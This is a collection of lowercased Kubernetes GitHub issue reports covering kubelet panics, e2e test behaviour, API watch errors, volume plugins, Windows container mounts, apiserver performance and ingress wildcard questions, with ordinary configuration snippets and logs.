/workspace/anago-v1.13.0-rc.2.1+ddf47ac13c1a94/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:65\r dec 05 14:17:18 scw-xxxxxx kubelet 5523 : /workspace/anago-v1.13.0-rc.2.1+ddf47ac13c1a94/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:51\r dec 05 14:17:18 scw-xxxxxx kubelet 5523 : /usr/local/go/src/runtime/asm_arm64.s:412\r dec 05 14:17:18 scw-xxxxxx kubelet 5523 : /usr/local/go/src/runtime/panic.go:513\r dec 05 14:17:18 scw-xxxxxx kubelet 5523 : /usr/local/go/src/runtime/panic.go:82\r dec 05 14:17:18 scw-xxxxxx kubelet 5523 : /usr/local/go/src/runtime/signal_unix.go:390\r dec 05 14:17:18 scw-xxxxxx kubelet 5523 : /workspace/anago-v1.13.0-rc.2.1+ddf47ac13c1a94/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet_pods.go:546\r dec 05 14:17:18 scw-xxxxxx kubelet 5523 : /workspace/anago-v1.13.0-rc.2.1+ddf47ac13c1a94/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet_pods.go:449\r dec 05 14:17:18 scw-xxxxxx kubelet 5523 : /workspace/anago-v1.13.0-rc.2.1+ddf47ac13c1a94/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kuberuntime/kuberuntime_container.go:192\r dec 05 14:17:18 scw-xxxxxx kubelet 5523 : /workspace/anago-v1.13.0-rc.2.1+ddf47ac13c1a94/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kuberuntime/kuberuntime_container.go:115\r dec 05 14:17:18 scw-xxxxxx kubelet 5523 : /workspace/anago-v1.13.0-rc.2.1+ddf47ac13c1a94/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kuberuntime/kuberuntime_manager.go:741\r dec 05 14:17:18 scw-xxxxxx kubelet 5523 : /workspace/anago-v1.13.0-rc.2.1+ddf47ac13c1a94/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet.go:1689\r dec 05 14:17:18 scw-xxxxxx kubelet 5523 : /workspace/anago-v1.13.0-rc.2.1+ddf47ac13c1a94/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet.go:824\r dec 05 14:17:18 scw-xxxxxx kubelet 5523 : /workspace/anago-v1.13.0-rc.2.1+ddf47ac13c1a94/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/pod_workers.go:174\r dec 05 14:17:18 scw-xxxxxx kubelet 5523 : /workspace/anago-v1.13.0-rc.2.1+ddf47ac13c1a94/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/pod_workers.go:183\r dec 05 14:17:18 scw-xxxxxx kubelet 5523 : /workspace/anago-v1.13.0-rc.2.1+ddf47ac13c1a94/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/pod_workers.go:221\r dec 05 14:17:18 scw-xxxxxx kubelet 5523 : /usr/local/go/src/runtime/asm_arm64.s:1114\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.13.0\r - cloud provider or hardware configuration: scaleway\r - os  e.g. from /etc/os-release : debian gnu/linux 9  stretch \r - kernel  e.g.  uname -a  : 4.15.11-mainline-rev1\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

what happened  :\r run the following test using the cluster set up by local-up-cluster.sh will reboots own node.\r \r  it  each node by ordering clean reboot and ensure they function upon restart\r  it  each node by ordering unclean reboot and ensure they function upon restart\r \r   what you expected to happen  :\r the mentioned tests should be skipped when using local-up-cluster.sh.\r \r   how to reproduce it  as minimally and precisely as possible   :\r run the mentioned tests using the cluster set up by local-up-cluster.sh.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : ubuntu 18.04.1\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

what happened  :\r \ watch\  method is not supported on resource \ componentstatuses\ . \r   what you expected to happen  :\r watch componentstatuses resource without error\r   how to reproduce it  as minimally and precisely as possible   :\r    \r resourceresponse, err := manager.discoveryclient.serverpreferredresources  \r \t\tif err != nil {\r \r \t\t}\r \t\tfor _, resourcelist := range resourceresponse {\r \t\t\tsugar.infof \ found resource group %s\ \ , resourcelist.groupversion \r \r \t\t\tfor _, resource := range resourcelist.apiresources {\r \t\t\t\tsugar.infof \ found resource %+v\ , group: %s\ , resource.name, resourcelist.groupversion \r \t\t\t\t\tif islistable resource.verbs  {\r             \r \t                                     resinformer, err := manager.factory.resource apiversion, name \r              \r \t\t\t\t\t} else {\r \t\t\t\t\t\tsugar.infof \ resource %+v doesn't support list\ , resource \r \t\t\t\t\t}\r \t\t\t\t}\r \t\t\t}\r \t\t}\r \r \r    \r got \r \r    \r i0318 16:39:13.610129   13347 round_trippers.go:405  get https://172.17.68.185:6443/api/v1/componentstatuses?timeoutseconds=474&watch=true 405 method not allowed in 1 milliseconds\r i0318 16:39:13.610143   13347 round_trippers.go:411  response headers:\r i0318 16:39:13.610149   13347 round_trippers.go:414      content-type: application/json\r i0318 16:39:13.610154   13347 round_trippers.go:414      content-length: 225\r i0318 16:39:13.610160   13347 round_trippers.go:414      date: mon, 18 mar 2019 08:39:13 gmt\r i0318 16:39:13.610183   13347 request.go:942  response body: {\ kind\ :\ status\ ,\ apiversion\ :\ v1\ ,\ metadata\ :{},\ status\ :\ failure\ ,\ message\ :\ watch is not supported on resources of kind \\\ componentstatuses\\\ \ ,\ reason\ :\ methodnotallowed\ ,\ details\ :{\ kind\ :\ componentstatuses\ },\ code\ :405}\r e0318 16:39:13.610217   13347 reflector.go:322  mskj.cmbc.com.cn/k8s/sonar/vendor/metacontroller.app/dynamic/informer/factory.go:111: failed to watch  unstructured.unstructured: the server does not allow this method on the requested resource\r i0318 16:39:14.610376   13347 reflector.go:240  listing and watching  unstructured.unstructured from      metacontroller.app/dynamic/informer/factory.go:111\r    \r \r   anything else we need to know?  :\r \ watch\  is supported as documented   here  https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.11/ list-componentstatus-v1-core \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11.8\r - cloud provider or hardware configuration:  no\r - os  e.g:  cat /etc/os-release  :  pretty_name=\ centos linux 7  core \ \r - kernel  e.g.  uname -a  : linux iz2zehcv8qx068u71dd1zaz 3.10.0-957.5.1.el7.x86_64  1 smp fri feb 1 14:54:57 utc 2019 x86_64 x86_64 x86_64 gnu/linux\r - install tools: kubeadm\r - others:\r

what happened  :\r \r the unit test  testeventnotcreated  for horizontal pod autoscaler frequently deadlocked on the openshift ci system.\r \r   what you expected to happen  :\r \r the unit test should be robust and succeed without having to win a race condition to avoid deadlock.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r i'm not sure.\r \r   anything else we need to know?  :\r \r here are some logs of the problem happening:\r https://openshift-gce-devel.appspot.com/build/origin-ci-test/pr-logs/pull/22447/pull-ci-openshift-origin-master-unit/4610 githubcomopenshiftoriginvendork8siokubernetespkgcontrollerpodautoscaler-testeventnotcreated\r \r the deadlocks seem to happen when the  tc.processed  chan fills up while waiting for events. if that happens, there's a race where immediately after an event is read but before it can acquire the lock to verify the test, 2 event reactors are able to acquire the lock and write to the chan. the second will block forever since the chan is full and there's nobody to read from it.\r \r i've opened a pr with the fix. see  76455

kubectl run ... --image=busybox --attach -i -- bash ...  will wait forever because bash isn't in the image, which means the container never leaves pending.  we probably need to transition the pod to failed state in this particular scenario  start will fail with an error, and until the image changes we can't start the image .        containerstatuses:   - containerid: docker://9c0a7cf4c9900d74317965ca32aea4a767937eaa79705d9a9d8dd28ddeb0b979     image: busybox     imageid: docker://d7057cb020844f245031d27b76cb18af05db1cc3a96a29fa7777af75f5ac91a3     laststate: {}     name: run-test     ready: false     restartcount: 0     state:       waiting:         message: |           api error  404 : cannot start container 9c0a7cf4c9900d74317965ca32aea4a767937eaa79705d9a9d8dd28ddeb0b979:  8  system error: exec: \ bash\ : executable file not found in $path         reason: runcontainererror   hostip: 127.0.0.1   phase: pending

the new accelerators=true feature-gate enables auto-detection of gpus.  but i believe it does not detect hot-plugged gpus; kubelet must be restarted for the gpus to be detected and reported in the node.  at least i believe that is the case.\r \r what i'm actually doing here is not hot-plugging the device, but rather starting kubelet and at the same time starting the nvidia driver installation.  about 5-10 minutes later the nvidia driver is ready and the devices appear, but kubelet does not auto-detect them.\r \r  if there is a better way to install the nvidia drivers, that would be great to know as well \r \r cc @vishh

i filed an issue with some debugging information and details in the ingress repo -  https://github.com/kubernetes/ingress/issues/645. i am also filing it to here to track federated ingress flakiness. this is critical and is blocking us from making federation presubmits \ required\  for all prs.\r \r @csbell assigning it to you for triaging.\r \r /assign @csbell \r \r / \r  \r cc @kubernetes/sig-federation-bugs

is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. : no.\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r daemonsetscontroller\r syncdaemonset\r cache\r dslister\r \r ---\r \r   is this a bug report or feature request?    choose one : feature request\r \r in  kubernetes/pkg/controller/daemon/daemoncontroller.go  we have several calls to functions that lists again and again nodes, these functions are : \r \r on  update.go  \r     go\r func  dsc  daemonsetscontroller  getunavailablenumbers ds  extensions.daemonset, nodetodaemonpods map string    v1.pod   int, int, error \r    \r \r and on  daemoncontroller.go \r \r    go\r func  dsc  daemonsetscontroller  updatedaemonsetstatus ds  extensions.daemonset \r    \r \r    go\r func  dsc  daemonsetscontroller  manage ds  extensions.daemonset   string, error  \r    \r \r we should factour out the node list and pass it through function to avoid unnecessary computations

 \r   what happened  : libpq refuses to load my pgpassfile, resulting in \ no password provided\  error messages.\r \r   what you expected to happen  : libpq reads the database password from the pgpassfile i'm pointing to.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create a secret, containing  a  .pgpass  file  https://www.postgresql.org/docs/9.4/static/libpq-pgpass.html .\r 2. create a volume from the secret, taking care to set the mode bits to e.g.  r--------   256 in decimal .\r 3. mount the volume in a container.\r 4. let the  pgpassfile  environment variable point to the  .pgpass  file.\r 5. use sqlalchemy to connect to a postgresql database, providing all information  except  the password.\r \r   anything else we need to know?  :\r   this approach used to work, but likely broke due to  25285.\r   libpq not only demands that the pgpassfile is only accessible by its owner, but also requires that it is a regular file.\r   i've tried pointing to  secret-volume/..data/.pgpass  instead of  secret-volume/.pgpass  directly, but that doesn't seem to work either. i'm not sure, but maybe libpq really doesn't like symbolic links in the path to the pgpassfile.\r   i can work around this problem by setting  pgpassword  instead, or by keeping the password in the database connection url. it seems a tiny bit cleaner to me to be able to switch only the config mapped connection url while keeping the same passwords file, but i'd understand a wontfix resolution.\r \r   environment  :\r - kubernetes version  use  kubectl version  : server v1.7.8-gke.0\r - cloud provider or hardware configuration: google cloud platform\r - os  e.g. from /etc/os-release : container-optimized os from google\r - kernel  e.g.  uname -a  : 4.4.64+

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r i upgraded kube-apiserver on a raspberry pi 3 cluster and after it begins adding the http listeners, the cpu usage goes up on all processors to use every available cycle and all attempts to connect to the api via https  6443  or http  8080  time out.\r \r since i host etcd on the controller nodes, it also becomes unresponsive.\r \r if i set gomaxprocs=1, it does limit that and prevents etcd from timing out, but all attempts to connect to kube-apiserver still time out. eventually, the initial ip allocation check times out, causing a fatal error.\r \r   what you expected to happen  :\r \r it should idle at about 4%.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r on a raspberry pi 3 running debian jessie  arm64 , i run:\r \r    \r kube-apiserver \\\r   --etcd-servers=https://kubecon1:2379,https://kubecon2:2379,https://kubecon3:2379 \\\r   --bind-address=0.0.0.0 \\\r   --etcd-cafile=/etc/kubernetes/pki/ca.pem \\\r   --etcd-certfile=/etc/kubernetes/pki/kubecon1.etcd-client.pem \\\r   --etcd-keyfile=/etc/kubernetes/pki/kubecon1.etcd-client-key.pem \\\r   --allow-privileged=true \\\r   --service-cluster-ip-range=10.96.0.0/12 \\\r   --admission-control=namespacelifecycle,limitranger,serviceaccount,noderestriction,persistentvolumelabel,defaultstorageclass,resourcequota,defaulttolerationseconds \\\r   --advertise-address=192.168.2.22 \\\r   --tls-cert-file=/etc/kubernetes/pki/kubecon1.kube-apiserver.pem \\\r   --tls-private-key-file=/etc/kubernetes/pki/kubecon1.kube-apiserver-key.pem \\\r   --service-account-key-file=/etc/kubernetes/pki/serviceaccount-key.pem \\\r   --client-ca-file=/etc/kubernetes/pki/ca.pem \\\r   --apiserver-count=3 \\\r   --audit-log-maxage=30 \\\r   --audit-log-maxbackup=3 \\\r   --audit-log-maxsize=100 \\\r   --authorization-mode=node,rbac \\\r   --enable-swagger-ui=true \\\r   --event-ttl=1h \\\r   --insecure-bind-address=127.0.0.1 \\\r   --runtime-config=rbac.authorization.k8s.io/v1alpha1 \\\r   --v=2\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10.3 arm64\r - cloud provider or hardware configuration: raspberry pi 3\r - os  e.g. from /etc/os-release : \r    \r pretty_name=\ debian gnu/linux 8  jessie \ \r name=\ debian gnu/linux\ \r version_id=\ 8\ \r version=\ 8  jessie \ \r id=debian\r home_url=\ http://www.debian.org/\ \r support_url=\ http://www.debian.org/support\ \r bug_report_url=\ https://bugs.debian.org/\ \r    \r - kernel  e.g.  uname -a  :  linux kubecon1 4.9.13-bee42-v8  1 smp preempt fri mar 3 16:42:37 utc 2017 aarch64 gnu/linux \r - install tools: n/a\r - others:\r

 \r   what happened  :\r i've a example pod and will mount a smb mount\r    \r apiversion: batch/v1\r kind: pod\r metadata:\r   name: plop\r spec:\r   spec:\r     containers:\r       - name: plop\r         image: \ alpine:latest\ \r         command:  \ /bin/ls\ , \ -lah\ , \ /mnt\  \r         volumemounts:\r         - mountpath: /mnt\r           name: video\r     restartpolicy: never\r     volumes:\r       - name: video\r         flexvolume:\r           driver: \ hodique.info/cifs\ \r           secretref:\r             name: \ volume-secret\ \r           options:\r             source: \ //192.168.40.158/surveillance\ \r             mountoptions: \ dir_mode=0755,file_mode=0644,noperm\ \r ---\r apiversion: v1\r kind: secret\r metadata:\r   name: volume-secret\r data:\r   username: bw9ssb3rpea==\r   password: c3vydsspbgxhbmnlnefesvrp\r    \r     kubelet.env\r    \r ceku@ceku1 ~> cat /etc/kubernetes/kubelet.env\r   logging to stderr means we get it in the systemd journal\r kube_logtostderr=\ --logtostderr=true\ \r kube_log_level=\ --v=2\ \r   the address for the info server to serve on  set to 0.0.0.0 or \ \  for all interfaces \r kubelet_address=\ --address=0.0.0.0 --node-ip=192.168.49.201\ \r   the port for the info server to serve on\r   kubelet_port=\ --port=10250\ \r   you may leave this blank to use the actual hostname\r kubelet_hostname=\ --hostname-override=ceku1\ \r \r kubelet_args=\ --pod-manifest-path=/etc/kubernetes/manifests \\\r --cadvisor-port=0 \\\r --pod-infra-container-image=gcr.io/google_containers/pause-amd64:3.0 \\\r --node-status-update-frequency=10s \\\r --docker-disable-shared-pid=true \\\r --client-ca-file=/etc/kubernetes/ssl/ca.pem \\\r --tls-cert-file=/etc/kubernetes/ssl/node-ceku1.pem \\\r --tls-private-key-file=/etc/kubernetes/ssl/node-ceku1-key.pem \\\r --anonymous-auth=false \\\r --read-only-port=0 \\\r --cgroup-driver=cgroupfs \\\r --cgroups-per-qos=true \\\r --max-pods=110 \\\r --fail-swap-on=true \\\r --authentication-token-webhook \\\r --enforce-node-allocatable=\ \   --cluster-dns=10.233.0.3 --cluster-domain=k8s-cluster.internal --resolv-conf=/etc/resolv.conf --kubeconfig=/etc/kubernetes/node-kubeconfig.yaml --kube-reserved cpu=200m,memory=512m --node-labels=node-role.kubernetes.io/master=true,node-role.kubernetes.io/node=true  --feature-gates=initializers=false,persistentlocalvolumes=false,volumescheduling=false,mountpropagation=true  \ \r kubelet_network_plugin=\ --network-plugin=cni --cni-conf-dir=/etc/cni/net.d --cni-bin-dir=/opt/cni/bin\ \r \r kubelet_volume_plugin=\ --volume-plugin-dir=/var/lib/kubelet/volume-plugins\ \r \r   should this cluster be allowed to run privileged docker containers\r kube_allow_priv=\ --allow-privileged=true\ \r kubelet_cloudprovider=\ \ \r \r path=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\r \r    \r \r   what you expected to happen  :\r i've copy in the folder /var/lib/kubelet/volume-plugins/exec the project from https://github.com/sigma/cifs_k8s_plugin/blob/master/cifs.sh\r and now i get the error:\r    \r jul 10 11:27:39 ceku3 kubelet 1866 : e0710 11:27:39.721945    1866 desired_state_of_world_populator.go:293  failed to add volume \ video\   specname: \ video\   for pod \ 1c3475e0-8434-11e8-af15-ac1f6b664c4c\  to desiredstateofworld.     err=failed to get plugin from volumespec for volume \ video\  err=no volume plugin matched\r    \r i've tested also with another flexvolume pluging, but i get the same behaviour.\r     folder content /var/lib/kubelet/volume-plugins/exec\r    \r /var/lib/kubelet/volume-plugins/exec/hodique.info~cifs/:\r total 12k\r drwxr-xr-x 2 root root 4,0k jul 10 11:19 ./\r drwxr-xr-x 6 root root 4,0k jul 10 11:19 ../\r -rwxr-xr-x 1 root root 3,3k jul 10 11:19 cifs \r    \r   anything else we need to know?  :\r i've installed the kubernetes with kubespray\r \r   environment  : \r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.4\ , gitcommit:\ 5ca598b4ba5abb89bb773071ce452e33fb66339d\ , gittreestate:\ clean\ , builddate:\ 2018-06-06t08:00:59z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.4\ , gitcommit:\ 5ca598b4ba5abb89bb773071ce452e33fb66339d\ , gittreestate:\ clean\ , builddate:\ 2018-06-06t08:00:59z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r bare metall installation\r - os  e.g. from /etc/os-release :\r  \r name=\ ubuntu\ \r version=\ 16.04.4 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.4 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r  \r - kernel  e.g.  uname -a  :\r  linux ceku1 4.15.0-24-generic  26~16.04.1-ubuntu smp fri jun 15 14:35:08 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r 

i am running a jobs with a kubernetes pod and i need to measure the execution time for each job .\r \r i want to get it through some api.\r \r does anyone know how can i get it ? @k8s-merge-robot

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r >  \r  \r \r   what happened  :\r \r when creating a kubernetes pod  0 , you can specify the   terminationmessagepath   field, which is a file in which a container can write in, and its content will be included in the pod's status  1 , in the   status.containerstatuses.state.terminated.message   field. however, this does not work as intended with windows containers, causing a few conformance tests to fail, like:\r \r      k8s.io  container runtime blackbox test when starting a container that exits  should report termination message as empty when pod succeeds and terminationmessagepolicy fallbacktologonerror is set  nodeconformance \r \r when comparing the   docker inspect   results from a kubernetes pod with a linux container  2  with the ones from a kubernetes pod with a windows container  3 , it can be seen that the linux container has a few extra items in the   hostconfig.binds   list:\r \r             \ hostconfig\ : {\r             \ binds\ :  \r                 \ /var/lib/kubelet/pods/b4a24db4-b816-11e8-a756-000d3a4d73b6/volumes/kubernetes.io~secret/default-t                                                                                                                           oken-fnq6g:/var/run/secrets/kubernetes.io/serviceaccount:ro\ ,\r                 \ /var/lib/kubelet/pods/b4a24db4-b816-11e8-a756-000d3a4d73b6/etc-hosts:/etc/hosts\ ,\r                 \ /var/lib/kubelet/pods/b4a24db4-b816-11e8-a756-000d3a4d73b6/containers/termination-message-contain                                                                                                                           er/f1f48263:/dev/termination-log\ \r              ,\r \r which means that the windows kubelet is not creating those mounts. however, on windows docker, you cannot mount individual files at the moment  although mounting a folder to   /dev   instead could solve this issue .\r \r  0  https://paste.ubuntu.com/p/pbp3skhm9j/\r  1  https://paste.ubuntu.com/p/fh5fb6qvp4/\r  2  https://paste.ubuntu.com/p/v9srkqqwfw/\r  3  https://paste.ubuntu.com/p/8zpnrwwzhd/\r \r   what you expected to happen  :\r \r the given pod's   terminationmessagepath   file should exist in the containers, and the containers should be able to write messages in it, messages which will be included in the container's   terminated   status.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. deploy the kubernetes pod  0 :   kubectl create -f pod.yaml  \r 2. check that the container finised and that it has no termination status:   kubectl get -o yaml po/termination-message-pod  \r 3. additionally, log into the windows node and execute   docker inspect   on the kubernetes pod's container, and check that the   hostconfig.binds   does not contain the   /dev/termination-file   mount.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.12.0-beta.1\r - cloud provider or hardware configuration: n/a\r - os  e.g. from /etc/os-release : windows server 1803\r - kernel  e.g.  uname -a  : n/a\r - install tools: n/a\r - others:\r

repro: - use  gcloud alpha container kubectl exec -p <pod> -c <container> -i -t -- '<command>'  - observe that when <command> = one very small command  ls  or  date  it works properly - observe that when <command> is even slightly more complex =  ls /usr  it fails with \ env: ls /usr: no such file or directory\          18:04:44  $ gcloud alpha container kubectl exec -p rails-mmlpb -c rails -i -t 'ls' bin   dev  home  lib64  mnt  proc  run   srv  tmp  var boot  etc  lib   media  opt  root  sbin  sys  usr     18:04:56  $ gcloud alpha container kubectl exec -p rails-mmlpb -c rails -i -t 'ls /usr' env: ls /usr: no such file or directory      expected: command should execute as though exactly the same way docker exec works.

running  go lint  on our generated deep copies, we see issues. we might as well clean the generation code up in order to remove these as they clog up  go lint  output and make it hard to use the tool.  for example, from openshift:      go func deepcopy_v1beta3_authorizationattributes in v1beta3.authorizationattributes, out  v1beta3.authorizationattributes, c  conversion.cloner  error {     out.namespace = in.namespace     out.verb = in.verb     out.resource = in.resource     out.resourcename = in.resourcename     if newval, err := c.deepcopy in.content ; err != nil {         return err     } else {         out.content = newval. runtime.rawextension      }     return nil }      results in:      /home/stevekuznetsov/go/src/github.com/openshift/origin/./pkg/api/v1beta3/deep_copy_generated.go:22:6: don't use underscores in go names; func deepcopy_v1beta3_authorizationattributes should be deepcopyv1beta3authorizationattributes /home/stevekuznetsov/go/src/github.com/openshift/origin/./pkg/api/v1beta3/deep_copy_generated.go:29:9: if block ends with a return statement, so drop this else and outdent its block  move short variable declaration to its own line if necessary       @kargakis fyi

this issue should not be pursued until we want to break compatibility with  v1.0  components.  this test behavior was added in  15948 as part of the  1.1  rollout to maintain backwards compatibility with  1.0   issue  15806 .  see  @gmarek's comment  https://github.com/kubernetes/kubernetes/issues/15806 issuecomment-149569269  and below for further explanation.

there are a couple gaps that are closely related and entangled with one another: 1.  how do i make the right kind of changes at a higher level than go coding guidelines? 2.  how do i approach some component of the system and learn the code effectively?  i originally brought this topic up in the sig-node meeting on mar 15 and was encouraged to write up an issue with a wider scope by @dchen1107.  hence, my examples are kubelet-focused.  let me present as a case study some analysis i did during a recent flake-busting run on the pod ip via env var flake.  the tldr of that tale is that the existing code was just wrong in the sense that coding conventions in the kubelet were not followed.  in this specific case, the status field in a pod pointer, which should have been read-only, was used to hold the value of the pod ip and was sometimes not set.  the issue was fixed by making the code project-conventional, ie, using the existing internal status management subsystem of the kubelet to get this value where it was needed.  in hindsight, this example seems 20/20 to me as a case where concern  1  above is in play - how do i easily learn the 'way' without necessarily following every single issue and maintaining a mental model of what the current conventions for a component are?  this is not a problem unique to our project, of course, but we should try to have some basic first principles outlined for broad functional areas, at the coarsest possible level of detail to be meaningful without requiring constant update.  rewinding this story a little to before the fix was determined, debugging the code was pretty instructive for me about learning the code.  i've spent a bit of time in the kubelet, and yet tracing the kubelet code and understanding the dependencies of that component was still quite a task.  as it happens, there are around 20 fields of the kubelet named   manager ,   cache ,   queue ,   channel , etc.  here is where concern  2  is in play.  these direct dependencies of the kubelet represent the actors, subsystems, and internal message buses that one has to know in order to reason correctly about the change.  so, in the case of the kubelet, it might be helpful to have a map-like document of dependencies that describes their roles very concisely, and some behavioral diagrams that show interactions in main code paths like the sync loop.  in the sig node discussion that prompted this issue, we had a loose consensus that something should be done, but also that refactoring efforts shouldn't block on it.  additionally, it was noted that this type of doc isn't a one-time thing to do, but something that takes maintenance and upkeep.  my personal opinion is that these two factors support that these docs should intentionally be not extensive, and contain as few details as possible while being concise.  @kubernetes/sig-node

as of now we create a lot of base images for the gce vms that we spin up for node e2e. these images are duplicated in two different gce projects for the purposes of ci.  instead, we can have the node e2e framework spin up vms from non-local projects. that way, we can avoid duplication and also let the community contribute images that needs to be included in the node e2e ci.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gce-proto/577/  failed: kubectl version {e2e.go}      error running kubectl version: exit status 1

in case of kubectl built from head:\r \r    \r ~/g/s/k/kubernetes  master=  kubectl.sh version\r client version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-alpha.1.160+056728067d762d\ , gitcommit:\ 056728067d762d7a7a673b2039f90529e68b78f9\ , gittreestate:\ clean\ , builddate:\ 2017-02-01t16:36:03z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:52:34z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r ~/g/s/k/kubernetes  master=  kubectl.sh api-versions\r autoscaling/v1\r batch/v1\r extensions/v1beta1\r storage.k8s.io/v1beta1\r v1\r    \r \r older kubectl 1.5.2\r \r    \r ~/g/s/k/kubernetes  master=  /usr/local/google/home/ramanathana/install/google-cloud-sdk/bin/kubectl version\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:52:34z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r ~/g/s/k/kubernetes  master=  /usr/local/google/home/ramanathana/install/google-cloud-sdk/bin/kubectl api-versions\r apps/v1beta1\r autoscaling/v1\r batch/v1\r extensions/v1beta1\r policy/v1beta1\r storage.k8s.io/v1beta1\r v1\r    \r \r cc @kubernetes/sig-cli-bugs @pwittrock @ymqytw

is this a request for help?   \r \r no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r   ingress wildcard\r   ingress regexp\r \r   is this a bug report or feature request?  \r \r feature, although if it exists and i don't see it, then bug for docs\r \r ---\r \r as far as i can tell, k8s ingress supports  in theory , subdomain wildcards for ingresses  supposing the given controller supports them, of course , such as   .mydomain.com . there appear to be confusing issues  re: https://github.com/kubernetes/kubernetes/issues/39622   but in theory it supports it.\r \r 1. i cannot find this in official documentation anywhere?\r 2. is there support for general wildcards?\r \r the specific use case is as follows. i have a set of k8s resources being deployed to multiple environments, e.g. prod, uat, qa. each one has its own inbound root domain, e.g.  prod.mydomain.com ,  qa.mydomain.com ,  uat.mydomain.com .\r \r when i create my k8s resources, i want to use identical ones between all the environments. if i have 3 exposed services  e.g.  web ,  api ,  magic   in each domain, routed by subdomain, i shouldn't require 3 separate ingresses, one for each environment, per exposed service. instead, i want to do something like this:\r \r    yml\r apiversion: extensions/v1beta1\r kind: ingress\r metadata:\r   name: web\r spec:\r   rules:\r   - host: \ web. \ \r     http:\r       paths:\r       - path: /\r         backend:\r           servicename: web-service\r           serviceport: 80\r    \r \r  repeat for services  api  and  magic  \r \r this allows my to tell my devs\r \r 1. pick your environment with  kubectl config set-context prod   or  uat  or  qa  \r 2.deploy consistently with  kubectl apply -f configs/ \r \r did i miss that somewhere? or is it not currently supported?

